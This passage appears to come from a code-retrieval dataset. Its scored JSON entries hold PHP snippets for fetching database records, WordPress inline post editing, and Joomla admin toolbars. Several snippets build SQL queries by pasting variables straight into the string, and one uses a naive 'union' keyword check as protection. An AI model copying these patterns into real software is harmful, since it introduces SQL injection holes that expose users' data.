"0.41572377", "text": "public function get_record_array() {\n\t\treturn $this->record;\n\t}", "title": "" }, { "docid": "24b4d31f5b51ef9eaeaaf9fcf7ad98dc", "score": "0.41529", "text": "public function getRecords($offset, $count)\n {\n return $this->fireEvent('data.getRecords', [$offset, $count], true);\n }", "title": "" }, { "docid": "a62d7466d91e18315e401fd994338866", "score": "0.41480002", "text": "protected function getRecordsFromResults()\n {\n return self::convertResultsToRecords($this->lastResult);\n }", "title": "" }, { "docid": "e329e53ebd6a2f4f6efd29ad0d6bb483", "score": "0.41296795", "text": "public function getAllRecord($param1, $param2)\n {\n\n return Invoice::where('customer_id', $param1)\n ->where('inventory_id', $param2)\n ->get();\n }", "title": "" }, { "docid": "40b50fbd2630b039a6d2cf6c8eac21cd", "score": "0.41292945", "text": "public function run( $return_results = false ) {\n\t\tif( !$this->params_changed && $this->records ){\n\t\t\treturn $this->records;\n\t\t}//end if\n\n\t\tif( !$this->sql ){\n\t\t\tthrow new Exception('SQL for this report is not set');\n\t\t}//end if\n\n\t\tif( $this->debug ){\n\t\t\tPSU::db($this->database)->debug = $this->debug;\n\t\t}//end if\n\n\t\t$this->prepSQL();\n\n\t\t// retrieve the results\n\t\t$this->results = $this->execute($this->execute_sql, $this->final_bind, $this->key, $this->database, ($this->paging ? 'CachePageExecute' : ($GLOBALS['NO_CACHE_EXECUTE'] || $this->args['nocache'] ? 'Execute' : 'CacheExecute')), true);\n\n\t\t// parse the result set into records\n\t\tif($this->results instanceof ADORecordSet){\n\t\t\tif( $this->paging ) {\n\t\t\t\t$this->pagination = PSU::paginationInfo($_GET, $this->results);\n\t\t\t}//end if\n\n\t\t\t$this->records = $this->parse_results($this->results, $this->key, $this->id);\n\t\t}//end if\n\n\t\treturn $return_results ? $this->results : $this->records;\n\t}", "title": "" }, { "docid": "f6f3dc517d2d8540e343bc720b6eb55b", "score": "0.41285783", "text": "public function getcallrecords() {\n $draw = intval($this->input->get(\"draw\"));\n $start = intval($this->input->get(\"start\"));\n $length = intval($this->input->get(\"length\"));\n\t\t$id = $this->session->userdata('user')->id;\n $users = $this->SMDashboardModel->getCallrecordingDetails($id);\n\t\tif(!is_array($users)) {\n\t\t\t$users = array();\n\t\t}\n $data = array();\n foreach($users as $r) {\n $i = 1;\n $data[] = array(\n $i,\n\t\t\t\t$r->mobile,\n $r->first_name . ' ' .$r->last_name,\n\t\t\t\t\n\t\t\t\tgmdate(\"H:i:s\", $r->call_duration),\n\t\t\t\t'<a href=\"'. base_url('uploads/call-recordings/').$r->recording_path.'\" target=\"_blank\">\n\t\t\t\t<button type=\"button\">Play <i class=\"fa fa-play\"></i></button></a>\n\t\t\t\t<a href=\"'. base_url('uploads/call-recordings/').$r->recording_path.'\" download><button type=\"button\">Download <i class=\"fa fa-cloud-download\"></i></button></a>',\n\t\t\t\t$r->user_role,\n\t\t\t\t$r->created_at,\n );\n }\n $output = array(\n \"draw\" => $draw,\n \"recordsTotal\" => count($users),\n \"recordsFiltered\" => count($users),\n \"data\" => $data\n );\n echo json_encode($output);\n exit(); \t\n }", "title": "" }, { "docid": "ff2ae1ae5d3a4059d645000e748677cb", "score": "0.41278225", "text": "public function getCustMedicalHistory($custID){\n //var_dump($custID);\n $stmt=$this->conn->prepare(\"SELECT recordID,custID,date,type,healthCondition,comments\n FROM med_record \n WHERE custID=$custID ORDER BY recordID DESC\");\n $stmt->execute();\n return $stmt->fetchAll();\n }", "title": "" }, { "docid": "0f7a7a764e0e1792f6d1bccbb2941b4c", "score": "0.41273877", "text": "public static function getResults( ){\n return SQLConnection::getConnection()->getTheResults();\n }", "title": "" }, { "docid": "81a5e914e3fd23558f8d4cae8c087dfc", "score": "0.4126744", "text": "public function SelectRecords($query,$params = null)\n\t{\n\t\t\n\t\t$dbh = self::ConnectionString();\n\t\t\n\t\t$prep = $dbh->prepare($query);\n\t\t\n\t\tif (isset($params))\n\t\t{\n\t\t\tself::BuildParams($params,$prep);\n\t\t}\n\t\t\n\t\t$prep->execute();\n\t\t\n\t\t$result = $prep->fetchAll();\n\t\t\n\t\treturn $result;\n\t\t\n\t}", "title": "" }, { "docid": "4db4a36d08d195ce6098a8e44a9ad8d7", "score": "0.41215318", "text": "static function GetRecordset($query) {\n $rs = array();\n\n if (!($result = mysql_query($query)))\n throw new Exception('Error in Data->GetRecordset: ' . $query);\n\n while ($row = mysql_fetch_array($result)) {\n $rs[] = $row;\n }\n\n return $rs;\n }", "title": "" }, { "docid": "3b879715288ae1741176d36949fbe209", "score": "0.41110227", "text": "public static function listAll($userid) { \n global $database;\n $r = mysql_query(\"select * from waypoints where userid = $userid\",$database);\n if (!$r) {\n $message = 'Invalid query: ' . mysql_error() . \"\\n\";\n $message .= 'Whole query: ' . $sql;\n print $message;\n exit;\n }\n $waypoints = array();\n while ($results = mysql_fetch_array($r, MYSQL_ASSOC)) {\n array_push($waypoints,$results);\n }\n mysql_free_result($r);\n return($waypoints);\n }", "title": "" }, { "docid": "49b78cee9e31f17e15df60b6d1b8ead1", "score": "0.41072547", "text": "function GetAllRecordsWithCriteria($criteria) \n {\n $query = \"SELECT * FROM $this->tableName WHERE $criteria\";\n parent::SetQuery($query);\n parent::DoQuery();\n }", "title": "" }, { "docid": "95dbe7d2be1fcd4801cb4e35c85646d4", "score": "0.410436", "text": "function &getRelatedRecordObjects($relationshipName, $start=null, $end=null,$where=0, $sort=0){\n\t\t$out = array();\n\t\t\t\n\t\t$it =& $this->getRelationshipIterator($relationshipName, $start, $end,$where,$sort);\n\t\twhile ($it->hasNext() ){\n\t\t\t$out[] =& $it->next();\n\t\t}\n\t\treturn $out;\n\t}", "title": "" }, { "docid": "b53c2b2e3cb031bdb161698719b9dcd8", "score": "0.40981638", "text": "public function retrieve($record)\n\t{\n\t\t$params['index'] = $this->getName();\n\t\t$params['type'] = $record['type'];\n\t\t$params['id'] = $record['id'];\n\n\t\tself::getClient()->get($params);\n\t}", "title": "" }, { "docid": "d488e85c9f7ef45567fe900e5d660c46", "score": "0.40953854", "text": "public function get_records_sql($sql, $params = [])\n {\n if (isset($sql)) {\n try {\n $data = $this->pdo->prepare($sql);\n isset($params) ? $data->execute($params) : $data->execute();\n $data->setFetchMode(\\PDO::FETCH_ASSOC);\n //fetch the result\n $result = $data->fetchAll();\n //returns array of object\n return $result;\n } catch (\\Exception $e) {\n return false;\n }\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "1b7f9a6d4ad4b59d7c2d2c3db1507f3a", "score": "0.4094028", "text": "function get_record()\n\t{\n\t\tglobal $app;\n\t\t$db = new db();\n\t\t$args = func_get_args();\n\t\tswitch (func_num_args()):\n\t\t\tcase 2:\n\t\t\t\t$sql = \"select * from \".$app['table'][$args[0]].\" where $args[1] limit 1\";\n\t\t\t\tbreak;\n\t\t\tcase 3:\n\t\t\t\t$sql = \"select * from \".$app['table'][$args[0]].\" where $args[1] = '$args[2]' limit 1\";\n\t\t\t\tbreak;\n\t\tendswitch;\n\t\tif (!stristr($sql,\"union\")){\t\t\t\n\t\t\t$db->query($sql, $rs, $nr);\n\t\t}\n \tif ($nr){\n \t $record = $db->fetch($rs);\n \t}else{\n \t $record[0] = \"\";\n \t}\n\t\t//print_r($rs);exit;\n\t\tmysqli_free_result($rs);\n \treturn $record;\n\t}", "title": "" }, { "docid": "995ab0d29dfcba414adf42c08ffd9fd4", "score": "0.40800196", "text": "public function get(){\n $this->run();\n $arr = [];\n $metadata = $this->_prepare->result_metadata();\n while($meta = $metadata->fetch_field()){\n echo var_dump($meta);\n $arr[] = $meta;\n }\n // $result = $this->_prepare->get_result();\n // return $result->fetch_all(MYSQLI_ASSOC);\n }", "title": "" }, { "docid": "67d782154b591e2183f81912727abca8", "score": "0.40787867", "text": "public function get_record_info()\n {\n $arr = array();\n $record_code = get_request_var('record_code','');\n $devloper_code = get_request_var('devloper_code','');\n \n if(!empty($record_code))\n {\n switch ($devloper_code)\n {\n case _CONST_DEVELOPER_SAVISS_CODE:\n $arr = $this->saviss_service->lookup_record_by_id($record_code);\n break;\n case _CONST_DEVELOPER_TAM_VIET_CODE:\n $arr = $this->tamviet_service->lookup_record_by_id($record_code);\n break;\n default:\n $arr = $this->saviss_service->lookup_record_by_id($record_code);\n \n if(empty($arr))\n {\n $arr = $this->tamviet_service->lookup_record_by_id($record_code);\n }\n break;\n }\n }\n \n echo json_encode($arr);\n }", "title": "" }, { "docid": "b2733507ee3d414f8d8affe9ac658fd7", "score": "0.40779483", "text": "public static function GetMedicalRecord($caretaker_id=\"\"){\n\n\t\t\tglobal $config;\n\n\t\t\t$dbconn=db::singleton();\n\t\t\t$query = \"select u.user_id, concat(u.first_name,' ', u.last_name) name, mr.* from user u INNER JOIN medical_records mr ON u.user_id = mr.recommended_by WHERE mr.patient_id in (\nSELECT u.user_id FROM user u INNER JOIN patient_caretaker ck ON u.user_id = ck.patient_id WHERE ck.caretaker_id=\".$caretaker_id.\")\";\n\n\t\t\t//echo $query; die;\n\t\t\t$dbconn->SetQuery($query);\n\n\t\t\treturn $dbconn->LoadObjectList();\n\t\t}", "title": "" }, { "docid": "a414e62d54ceb98157d51ed840949986", "score": "0.4077442", "text": "public function loadRecord ($recordId)\n {\n $records = array(\n array(\n 'result__content_url' => '092a968a85a7c41fd7a3c08a02b416d2.pdf', 'result__content_size' => '65015', 'action_status' => 2\n ),\n array(\n 'result__content_url' => '6ff131aceb54a4ce3090c3030c0bfbd0.pdf', 'result__content_size' => '156529', 'action_status' => 2\n ),\n array(\n 'result__content_url' => 'a9efdf2cf751bd11030c0ea7f0f60810.pdf', 'result__content_size' => '247900', 'action_status' => 2\n ),\n array(\n 'result__content_url' => '39c9b2db2b78cd4b6291a8e3f524d642.pdf', 'result__content_size' => '7762', 'action_status' => 2\n )\n );\n\n return $records[$recordId - 1];\n }", "title": "" }, { "docid": "901355d00589b1fb38595613002bde07", "score": "0.4069565", "text": "protected function listView_getRecords() {\n\t\t$where =\n\t\t\t'pid IN (' . $this->pids . ') ' .\n\t\t\t\t$this->cObj->enableFields('tx_multicatalog_product');\n\n\t\tif ($this->restrictToCategories) {\n\t\t\t$localWhere = array();\n\t\t\tforeach (t3lib_div::trimExplode(',', $this->restrictToCategories) as $category) {\n\t\t\t\t$category = intval($category);\n\t\t\t\t$localWhere[] = ' (\n\t\t\t\t\tcategory = ' . $category . ' OR\n\t\t\t\t\tcategory LIKE \"' . $category . ',%\" OR\n\t\t\t\t\tcategory LIKE \"%,' . $category . ',%\" OR\n\t\t\t\t\tcategory LIKE \"%,' . $category . '\"\n\t\t\t\t)';\n\t\t\t}\n\t\t\t$where .= ' AND ' . join(' OR ', $localWhere);\n\t\t}\n\n\t\tif ($this->restrictToProducts) {\n\t\t\t$where .= ' AND uid IN (' . $this->restrictToProducts . ')';\n\t\t}\n\n\t\tif ($this->restrictToHighlighted) {\n\t\t\t$where .= ' AND highlight=\"1\"';\n\t\t}\n\n\t\tif ($this->piVars['cat']) {\n\t\t\t$category = intval($this->piVars['cat']);\n\t\t\t$where .= ' AND (\n\t\t\t\tcategory = ' . $category . ' OR\n\t\t\t\tcategory LIKE \"' . $category . ',%\" OR\n\t\t\t\tcategory LIKE \"%,' . $category . ',%\" OR\n\t\t\t\tcategory LIKE \"%,' . $category . '\"\n\t\t\t)';\n\t\t}\n\n\t\treturn $this->fetchLocalized(TRUE, '*', 'tx_multicatalog_product', $where, '', 'sorting ASC');\n\t}", "title": "" }, { "docid": "ef1241ff6104a7de66deb4441b396061", "score": "0.40672204", "text": "function LoadRecordset($offset = -1, $rowcnt = -1) {\n\t\tglobal $conn;\n\n\t\t// Call Recordset Selecting event\n\t\t$this->Recordset_Selecting($this->CurrentFilter);\n\n\t\t// Load List page SQL\n\t\t$sSql = $this->SelectSQL();\n\t\tif ($offset > -1 && $rowcnt > -1)\n\t\t\t$sSql .= \" LIMIT $rowcnt OFFSET $offset\";\n\n\t\t// Load recordset\n\t\t$rs = ew_LoadRecordset($sSql);\n\n\t\t// Call Recordset Selected event\n\t\t$this->Recordset_Selected($rs);\n\t\treturn $rs;\n\t}", "title": "" }, { "docid": "355760dd259e4c99548398f891e4c7e4", "score": "0.40642387", "text": "public function get($domainId, $recordId)\n {\n return $this->_driver->get(\"/dns/secondary/$domainId/records/$recordId\");\n }", "title": "" }, { "docid": "150175d49b882f62036447461b9f108b", "score": "0.40614754", "text": "function get_records(){\n\t\t$output=array();\n\t\t/*data request dari client*/\n\t\t$request = $this->m_master->request_datatable();\n\t\n\t\t/*Token yang dikrimkan client, akan dikirim balik ke client*/\n\t\t$output['draw'] = $request['draw'];\n\t\n\t\t/*\n\t\t $output['recordsTotal'] adalah total data sebelum difilter\n\t\t $output['recordsFiltered'] adalah total data ketika difilter\n\t\t Biasanya kedua duanya bernilai sama pada saat load default(Tanpa filter), maka kita assignment\n\t\t keduaduanya dengan nilai dari $total\n\t\t */\n\t\t/*Menghitung total desa didalam database*/\n\t\t$total = count($this->m_master->get_table_filter($this->table));\n\t\t$output['recordsTotal']= $output['recordsFiltered'] = $total;\n\t\n\t\t/*disini nantinya akan memuat data yang akan kita tampilkan\n\t\t pada table client*/\n\t\t$output['data'] = array();\t\n\t\n\t\t/*\n\t\t * jika keyword tidak kosong, maka menjalankan fungsi search\n\t\t * untuk ditampilkan di datable\n\t\t * */\n\t\tif($request['keyword'] !=\"\"){\n\t\t\t/*menjalankan fungsi filter or_like*/\n\t\t\t$this->m_master->search_like($request['keyword'],$this->column());\n\t\t}\n\t\t/*Pencarian ke database*/\n\t\t$query = $this->m_master->get_table_filter($this->table,'',$this->column()[$request['column']],$request['sorting'],$request['length'],$request['start']);\n\t\n\t\n\t\t/*Ketika dalam mode pencarian, berarti kita harus\n\t\t 'recordsTotal' dan 'recordsFiltered' sesuai dengan jumlah baris\n\t\t yang mengandung keyword tertentu\n\t\t */\n\t\tif($request['keyword'] !=\"\"){\n\t\t\t$this->m_master->search_like($request['keyword'],$this->column());\n\t\t\t$total = count($this->m_master->get_table_filter($this->table));\n\t\t\t/*total record yg difilter*/\n\t\t\t$output['recordsFiltered'] = $total;\n\t\t}\t\n\t\n\t\t$nomor_urut=$request['start']+1;\n\t\tforeach ($query as $row) {\n\t\t\t//show in html\n\t\t\t$output['data'][]=array($nomor_urut,\n\t\t\t\t\t\t\t\t\t$row->akses_code,\n\t\t\t\t\t\t\t\t\t$row->nama_modul,\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t$row->level,\n\t\t\t\t\t\t\t\t\t$row->link,\n\t\t\t\t\t\t\t\t\t$row->icon\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t);\n\t\t\t$nomor_urut++;\n\t\t}\n\t\techo json_encode($output);\n\t\n\t}", "title": "" }, { "docid": "5528433dcae7049284b319fd03cb2e73", "score": "0.406127", "text": "public function findRecords($Model, $ids = null);", "title": "" } ]
9311bd1400c0586e08e20e156601a139
Register inline editing paragraph toolbar
[ { "docid": "28f13dfef68c2cd9a41f02428ed71de6", "score": "0.50744313", "text": "public static function add_inline_editing_intermediate_toolbar( $config ) {\n if ( ! isset( $config['inlineEditing'] ) ) {\n return $config;\n }\n\n $tools = [\n 'bold',\n 'underline',\n 'italic',\n 'createlink',\n ];\n\n if ( isset( $config['inlineEditing']['toolbar'] ) ) {\n $config['inlineEditing']['toolbar']['intermediate'] = $tools;\n } else {\n $config['inlineEditing'] = [\n 'toolbar' => [\n 'intermediate' => $tools,\n ],\n ];\n }\n\n return $config;\n }", "title": "" } ]
[ { "docid": "c9f92b1e2a9d8af5c5ba63f4b50a5898", "score": "0.61474967", "text": "public function backendEditor(){\n // Inline Editor Configuration (Themes...)\n add_action('admin_print_scripts', array($this, 'appendInlineEditorConfig'));\n\n // apply editor modifications\n if ($this->_config['enableTinyMceIntegration']) {\n $this->_tinymce->integrate();\n }\n\n // load text editor ?\n if ($this->_config['enableQuicktagBackendIntegration']){\n add_action('admin_enqueue_scripts', array($this, 'appendTextEditorJS'));\n }\n }", "title": "" }, { "docid": "a158f59540e073672938603c1752c910", "score": "0.6110587", "text": "public function loadInlineEditBarButtons(sfEvent $event)\n {\n $menu = $event->getSubject();\n \n $menu->\n addChild('Save')->\n isEditModeButton(true)->\n setShortcut('Ctrl+Shift+S')->\n setInputClass('sympal_save_content_slots')\n ;\n \n $menu->\n addChild('Cancel')->\n isEditModeButton(true)->\n setShortcut('Ctrl+Shift+X')->\n setInputClass('sympal_disable_edit_mode')\n ;\n }", "title": "" }, { "docid": "2cfe37e8b1022c59abb513c4192a686e", "score": "0.60851765", "text": "private function _content_editable()\n {\n $this->template->add_package('ckeditor');\n $this->template->add_javascript('/application/modules/content/assets/js/content_editable.js');\n\n // Disable all links while inline editing unless they are in the admin toolbar\n if ($this->settings->enable_inline_editing)\n {\n $script = \n \"jq_admin_toolbar(document).ready(function() {\n jq_admin_toolbar('a').click(function() {\n if ($(this).closest('#admin-toolbar').length) {\n return true;\n } else {\n return false;\n }\n });\n });\";\n\n $this->template->add_script($script);\n }\n }", "title": "" }, { "docid": "4751a2a5cf498f3575d5d4b432bed90a", "score": "0.6015824", "text": "public function appendInlineEditorConfig(){\n $this->inlineScript($this->_jsConfigGenerator->getEditorPluginConfig());\n }", "title": "" }, { "docid": "94d61ba732adb4cac9271da3df0e2806", "score": "0.5919518", "text": "function idaho_webmaster_custom_wysiwyg( $in ) {\n\t\t$in['toolbar1'] = 'bold,italic,strikethrough,bullist,numlist,blockquote,hr,alignleft,aligncenter,alignright,link,unlink,spellchecker,wp_fullscreen,wp_adv,idaho_mce_shortcode_button';\n\t\t$in['toolbar2'] = 'styleselect,formatselect,alignjustify,pastetext,removeformat,charmap,outdent,indent,undo,redo,wp_help,idaho_glyphicons';\n\t\treturn $in;\n\t}", "title": "" }, { "docid": "ee00e11e26352427fd0027caa5eddc58", "score": "0.5897332", "text": "function wp_inline_edit_get_editor($content) {\r\n global $post;\r\n ob_start();\r\n wp_editor($content, 'wpined_textarea', array(\r\n \"dfw\" => true\r\n ));\r\n $html = ob_get_clean();\r\n $html = str_replace(\"post_id=0\", \"post_id=\" . $post->ID, $html); //Trick for media button\r\n return $html;\r\n}", "title": "" }, { "docid": "09b8a475acc2c358444bdc4409046093", "score": "0.58752286", "text": "public function editor();", "title": "" }, { "docid": "e99c7a1f62aca2d9b73a83b2884c99b7", "score": "0.5796208", "text": "public function frontendEditor(){\n // Inline Editor Configuration (Themes...)\n add_action('wp_head', array($this, 'appendInlineEditorConfig'));\n\n // apply editor modifications\n if ($this->_config['enableFrontendTinyMceIntegration']) {\n $this->_tinymce->integrate();\n }\n\n // load text editor ?\n if ($this->_config['enableQuicktagFrontendIntegration']){\n add_action('wp_enqueue_scripts', array($this, 'appendTextEditorJS'));\n }\n }", "title": "" }, { "docid": "20c1a7fb2581aa4c35e83ef93f5626e4", "score": "0.57790285", "text": "function admin_toolbar($content_type_id, $entry_id = null)\n {\n // Update the inline editing setting if user submitted setting\n if ($this->input->post('admin_toggle_inline_editing'))\n {\n $this->load->model('settings/settings_model'); \n $Settings_model = new Settings_model();\n $Settings_model->where('slug', 'enable_inline_editing')->where('module IS NULL')->update('value', (($this->settings->enable_inline_editing) ? '0' : '1'));\n\n // Clear the settings cache\n $this->load->library('cache');\n $this->cache->delete_all('settings');\n\n // Redirect to the current url so that it clears the post\n redirect(current_url());\n }\n\n // Show admin_toolbar on page\n if ($this->settings->enable_admin_toolbar && $this->secure->group_types(array(ADMINISTRATOR))->is_auth())\n {\n $this->template->add_script(\"var ADMIN_URL = '\" . site_url(ADMIN_PATH) . \"';\");\n $admin_toolbar = $this->load->view('admin/admin_toolbar', array('entry_id' => $entry_id, 'content_type_id' => $content_type_id), TRUE);\n $this->template->add_stylesheet('/application/modules/content/assets/css/admin_toolbar.css');\n $this->template->add_package(array('jquery', 'superfish'));\n $this->template->add_script(\"var jq_admin_toolbar = jQuery.noConflict(true); \n jq_admin_toolbar(document).ready( function() { \n jq_admin_toolbar(document.body).prepend(\" . json_encode($admin_toolbar) . \"); \n jq_admin_toolbar('#admin-toolbar > ul').superfish({\n hoverClass : 'sfHover',\n pathClass : 'overideThisToUse',\n delay : 0,\n animation : {height: 'show'},\n speed : 'normal',\n autoArrows : false,\n dropShadows : false, \n disableHI : false, /* set to true to disable hoverIntent detection */\n onInit : function(){},\n onBeforeShow : function(){},\n onShow : function(){},\n onHide : function(){}\n });\n\n jq_admin_toolbar('#admin-toggle-inline-editing').click(function() {\n jq_admin_toolbar('<form method=\\\"post\\\"><input type=\\\"hidden\\\" name=\\\"admin_toggle_inline_editing\\\" value=\\\"1\\\" /></form>').appendTo('body').submit();\n });\n });\");\n\n $this->_content_editable();\n }\n }", "title": "" }, { "docid": "75456237949ac1ad3d65499d34606aa7", "score": "0.5605513", "text": "protected function addToolbar()\n\t{\n\t\tFactory::getApplication()->input->set('hidemainmenu', true);\n\t\t$toolbar = Toolbar::getInstance();\n\n\t\tToolbarHelper::title(\n\t\t\tText::_('COM_MAILS_PAGE_EDIT_MAIL'),\n\t\t\t'pencil-2 article-add'\n\t\t);\n\n\t\t$saveGroup = $toolbar->dropdownButton('save-group');\n\n\t\t$saveGroup->configure(\n\t\t\tfunction (Toolbar $childBar)\n\t\t\t{\n\t\t\t\t$childBar->apply('template.apply');\n\t\t\t\t$childBar->save('template.save');\n\t\t\t}\n\t\t);\n\n\t\t$toolbar->cancel('template.cancel', 'JTOOLBAR_CLOSE');\n\n\t\t$toolbar->divider();\n\t\t$toolbar->help('JHELP_COMPONENTS_MAILS_TEMPLATE_EDIT');\n\t}", "title": "" }, { "docid": "adf4f39cebc5a49a5f8fd6523935416f", "score": "0.5579362", "text": "protected function addToolbarEditlineup()\n\t{\n\t\t$app \t= Factory::getApplication();\n\t\t$input = $app->input;\n\t\n\t\tJLToolBarHelper::title(Text::sprintf('COM_JOOMLEAGUE_ADMIN_MATCH_ELU_TITLE',$this->teamname),'jl-Matchdays');\n\t\t/*ToolBarHelper::saveGroup(\n\t\t [\n\t\t ['apply', 'match.saveroster'],\n\t\t ['save', 'match.saveroster2'],\n\t\t ],\n\t\t 'btn-success'\n\t\t );*/\n\t\tJLToolBarHelper::apply('match.saveroster');\n\t\tJLToolBarHelper::save('match.saveroster2');\n\t\tJLToolBarHelper::cancel('match.cancel');\n\t}", "title": "" }, { "docid": "1a44d5d3d9c06147304387d482790a6f", "score": "0.5515119", "text": "public static function wysiwyg() {\n\t}", "title": "" }, { "docid": "f7a11e8d58042346f0a77d17c0c24783", "score": "0.54667675", "text": "function oda_add_support_info_on_edit() {\n echo 'Awui';\n}", "title": "" }, { "docid": "7fea5c1c4b68d7b9f58f5becb85c51e1", "score": "0.5449324", "text": "function wp_inline_edit_ajax() {\r\n $postID = intval($_POST[\"postID\"]);\r\n if (empty($postID)) {\r\n return false;\r\n } //empty($postID)\r\n if (!current_user_can('edit_post', $postID)) { //only post author can edit\r\n return false;\r\n } //!current_user_can('edit_post', $postID)\r\n if ($_POST[\"t\"] == \"title\") {\r\n if ($_POST[\"r\"] == \"get\") {\r\n $post_details = wp_get_single_post($postID);\r\n $js_title = $post_details->post_title;\r\n $js_title = wp_inline_edit_strip_newline($js_title, ' ');\r\n $js_title = str_replace('\"', '\\\"', $js_title);\r\n $wp_nonce = wp_nonce_field('wp_inline_edit_title', 'wp_inline_edit_save', false, false);\r\n $wp_nonce = str_replace(\"\r\n\", \"\", $wp_nonce);\r\n $wp_nonce = str_replace('\"', '\\\"', $wp_nonce);\r\n echo '\r\n\t\r\n\tjQ(ele).before(\"' . $wp_nonce . '\");\r\n\tjQ(ele).before(\"<textarea class=\\\"wpined_textarea\\\">\");\r\n\tvar inpt = jQ(ele).prev(\"textarea\");\r\n\tvar pt = jQ(ele).parent();\r\n\tinpt.val(\"' . $js_title . '\");\r\n\tinpt.css(\"width\",pt.width())\r\n\tinpt.css(\"height\",jQ(ele).height()+\"px\")\r\n\t.css(\"font-size\",pt.css(\"font-size\"))\r\n\t.css(\"background-color\",\"transparent\")\r\n\t.css(\"font-family\",pt.css(\"font-family\"))\r\n\t.css(\"font-weight\",pt.css(\"font-weight\"))\r\n\t.css(\"text-transform\",pt.css(\"text-transform\"))\r\n\t.css(\"text-decoration\",pt.css(\"text-decoration\"))\r\n\t.css(\"color\",pt.css(\"color\"))\r\n\t//.css(\"border\",\"none\")\r\n\t.css(\"box-shadow\",\"none\")\r\n\t.before(\"<div class=\\\"wpined_tip\\\" id=\\\"wpined_tip\\\">Click Outside to Save After You Done.</div>\");\r\n\tsetTimeout(function() { jQ(\"#wpined_tip\").fadeOut(function() { jQ(this).remove(); })},2000);\r\n\t\r\n\tinpt.focus().bind(\"keydown keypress keyup\",function() {\r\n\tjQ(this).css(\"height\",jQ(ele).height())\r\n\t.css(\"height\",jQ(this).get(0).scrollHeight);\r\n\t});\r\n\t\r\n\tjQ(ele).hide();\r\n\twpined_title_blur(ele);\r\n\t';\r\n \r\n } //$_POST[\"r\"] == \"get\"\r\n \r\n if ($_POST[\"r\"] == \"save\") {\r\n if (wp_verify_nonce($_POST['nonce'], 'wp_inline_edit_title')) {\r\n wp_update_post(array(\r\n \"ID\" => $_POST[\"postID\"],\r\n \"post_title\" => $_POST[\"content\"]\r\n ));\r\n } //wp_verify_nonce($_POST['nonce'], 'wp_inline_edit_title')\r\n \r\n $post_details = wp_get_single_post($postID);\r\n $post_title = apply_filters(\"the_title\", $post_details->post_title);\r\n $post_title = wp_inline_edit_strip_newline($post_title, ' ');\r\n $post_title = str_replace('\"', '\\\"', $post_title);\r\n echo ' \r\n\t\tjQ(\".wpined-title\").each(function() {\r\n\t\tjQ(this).prev(\"textarea\").remove();\r\n\t\tjQ(\"#wp_inline_edit_save\").remove();\r\n\t\tjQ(this).html(\"' . $post_title . '\");\r\n\t\tjQ(this).show();\r\n\t\t});\r\n\t\t';\r\n \r\n exit;\r\n } //$_POST[\"r\"] == \"save\"\r\n \r\n \r\n } //$_POST[\"t\"] == \"title\"\r\n elseif ($_POST[\"t\"] == \"content\") {\r\n if ($_POST[\"r\"] == \"get\") {\r\n $post_details = wp_get_single_post($postID);\r\n $js_content = $post_details->post_content;\r\n $js_content = wp_inline_edit_strip_newline($js_content, '\\\\n');\r\n $js_content = str_replace('\"', '\\\"', $js_content);\r\n $wp_nonce = wp_nonce_field('wp_inline_edit_content', 'wp_inline_edit_save', false, false);\r\n $wp_nonce = wp_inline_edit_strip_newline($wp_nonce, '');\r\n $wp_nonce = str_replace('\"', '\\\"', $wp_nonce);\r\n echo '\r\n\tjQ(\".wpined-con\").each(function() {\r\n\tvar inpt = jQ(this).prev().show().find(\"#wpined_textarea\");\r\n\tjQ(this).prev().find(\"#wpined_textarea-html\").click();\r\n\tinpt.val(\"' . $js_content . '\").attr(\"data-postid\",\"' . $postID . '\");\r\n\tjQ(this).prev().find(\"#wpined_textarea-tmce\").click(); //turn HTML Mode\r\n\tjQ(this).before(\"' . $wp_nonce . '\");\r\n\t//inpt.autoResize().focus().keydown();\r\n\tjQ(this).hide();\r\n\t});\r\n\t';\r\n \r\n } //$_POST[\"r\"] == \"get\"\r\n \r\n if ($_POST[\"r\"] == \"save\") {\r\n if (wp_verify_nonce($_POST['nonce'], 'wp_inline_edit_content')) {\r\n wp_update_post(array(\r\n \"ID\" => $_POST[\"postID\"],\r\n \"post_content\" => $_POST[\"content\"]\r\n ));\r\n } //wp_verify_nonce($_POST['nonce'], 'wp_inline_edit_content')\r\n \r\n $post_details = wp_get_single_post($postID);\r\n $post_content = apply_filters(\"the_content\", $post_details->post_content);\r\n $post_content = wp_inline_edit_strip_newline($post_content, '\\\\n');\r\n $post_content = str_replace('\"', '\\\"', $post_content);\r\n echo ' \r\n\t\tjQ(\".wpined-con\").each(function() {\r\n\t\tjQ(this).html(\"' . $post_content . '\");\r\n\t\tjQ(this).show();\r\n\t\t});\r\n\t\tjQ(\".wpined-control\").find(\"#wpined-content-cancel\").click();\r\n\t\t';\r\n \r\n exit;\r\n } //$_POST[\"r\"] == \"save\"\r\n \r\n \r\n } //$_POST[\"t\"] == \"content\"\r\n exit;\r\n \r\n}", "title": "" }, { "docid": "aa793a922569664981af70f27b42245c", "score": "0.5448946", "text": "protected function addToolbar()\n\t{\n\t\t// Set toolbar items for the page\n\t\t$edit\t\t= $this->input->get('edit',true);\n\t\t$text = !$edit ? JText::_('COM_JOOMLEAGUE_GLOBAL_NEW') : JText::_('COM_JOOMLEAGUE_GLOBAL_EDIT') . ': ' . $this->form->getValue('name');\n\t\tJToolBarHelper::title((JText::_( 'COM_JOOMLEAGUE_ADMIN_TEAM' ).': <small><small>[ ' . $text.' ]</small></small>' ),'jl-Teams');\n\n\t\tif (!$edit) {\n\t\t\tJLToolBarHelper::save('team.save');\n\t\t\tJToolBarHelper::divider();\n\t\t\tJLToolBarHelper::cancel('team.cancel');\n\t\t} else {\n\t\t\tJLToolBarHelper::apply('team.apply');\n\t\t\tJLToolBarHelper::save('team.save');\n\t\t\tJToolBarHelper::divider();\n\t\t\tJLToolBarHelper::cancel('team.cancel','COM_JOOMLEAGUE_GLOBAL_CLOSE');\n\t\t}\n\t\t\n\t\tJToolBarHelper::help('screen.joomleague.edit');\n\t}", "title": "" }, { "docid": "6c445c1cc04f7d234d46f52b61e6fd77", "score": "0.5424533", "text": "function bbp_admin_setting_callback_use_wp_editor()\n{\n}", "title": "" }, { "docid": "a86f5cc0cfbbea3241071119623728de", "score": "0.5415851", "text": "function editor_element($params)\n\t {\n\t $params['innerHtml'] = \"<img src='\".$this->config['icon'].\"' title='\".$this->config['name'].\"' />\";\n\t $params['innerHtml'].= \"<div class='avia-element-label'>\".$this->config['name'].\"</div>\";\n\t $params['content'] \t = NULL; //remove to allow content elements\n\t return $params;\n\t }", "title": 